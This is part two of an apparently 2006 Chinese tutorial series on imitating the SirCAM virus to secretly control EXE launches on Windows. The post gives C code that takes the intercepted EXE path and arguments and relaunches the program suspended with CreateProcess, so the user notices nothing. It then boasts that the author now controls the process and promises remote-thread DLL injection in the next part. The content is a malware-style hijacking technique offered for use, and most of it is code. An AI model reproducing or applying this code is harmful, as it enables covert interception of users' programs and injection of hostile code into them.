仿照SirCAM病毒控制EXE进程(2)

王朝vc·作者佚名  2006-01-08
宽屏版  字体: |||超大  

仿照SirCAM病毒控制EXE进程(2)

Chapter

2

利用得到的EXE启动参数创建进程

既然传进来的”%1” %*实际上是用户启动的EXE文件的路径 + 执行参数,那么我们得到后,就依样画葫芦,真的创建这个进程,让用户感觉不出来实际上是先到我们这里绕了一圈。

代码如下:

//========================== 3 ==============================

//

// 执行用户要的代码:

//

DWORD dwInProcessId = 0;

dwInProcessId = GetCurrentProcessId(); // 默认赋为自己的进程的ID值

int nLengthOfCmd = lstrlen(lpCmdLine);

if( nLengthOfCmd > 0 )

{

//======================= 3.1 =======================

//

// 来执行用户的命令行:

//

STARTUPINFO sIfo;

PROCESS_INFORMATION pInfo;

ZeroMemory( &sIfo, sizeof(sIfo) );

sIfo.cb = sizeof(sIfo);

ZeroMemory( &pInfo, sizeof(pInfo) );

// Start the child process.

HRESULT hResultEx = S_OK;

// CreateProcess之时返回一个BOOL值,如果非0,说明成功,

// 如果是0,表明失败,用GetLastError查看失败原因:

hResultEx =

CreateProcess( NULL, // No module name (use command line).

_bstr_t(lpCmdLine), // Command line.

NULL, // Process handle not inheritable.

NULL, // Thread handle not inheritable.

FALSE, // Set handle inheritance to FALSE.

CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_SUSPENDED,

// creation flags.

NULL, // Use parent's environment block.

NULL, // Use parent's starting directory.

&sIfo, // Pointer to STARTUPINFO structure.

&pInfo ); // Pointer to PROCESS_INFORMATION structure.

// 检查CreateProcess的返回值:

if( hResultEx != 0 )// Success

{

dwInProcessId = pInfo.dwProcessId; // 既然新进程创建成功,保存它的ProcessId

}

else // Failed

{

//----------------------------------

//

// 看错误信息:

//

LPVOID lpMsgBuf;

FormatMessage(

FORMAT_MESSAGE_ALLOCATE_BUFFER |

FORMAT_MESSAGE_FROM_SYSTEM |

FORMAT_MESSAGE_IGNORE_INSERTS,

NULL,

GetLastError(), // 找到我们的错误

MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language

(LPTSTR) &lpMsgBuf,

0,

NULL

);

LogEventEx(EVENTLOG_INFORMATION_TYPE, (LPCTSTR)lpMsgBuf);

// Free the buffer.

LocalFree( lpMsgBuf );

//

//----------------------------------

}

//

//======================= 3.1 ==============================

}

else

{

// 如果本程序没有输入参数,就把InjectProcess.dll嵌入到自己进程中

// 这时dwInProcessId就是自己主进程的ID

}

怎么样,用户是不是什么也不知道,他双击运行的、从命令行运行的EXE命令都一如往昔。

但是这样就算完了吗?

既然进程尽在我们的掌握之中,那么有什么我们做不到的呢?!

接下来,我们将用远程线程插入DLL的方法来把我们的DLL注入到用户的进程的空间中,我们的DllMain将首先被执行。这个DllMain中可以写些什么呢,你发挥一下想象力吧!请看下回分解。

-----To be continued------

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
© 2005- 王朝网络 版权所有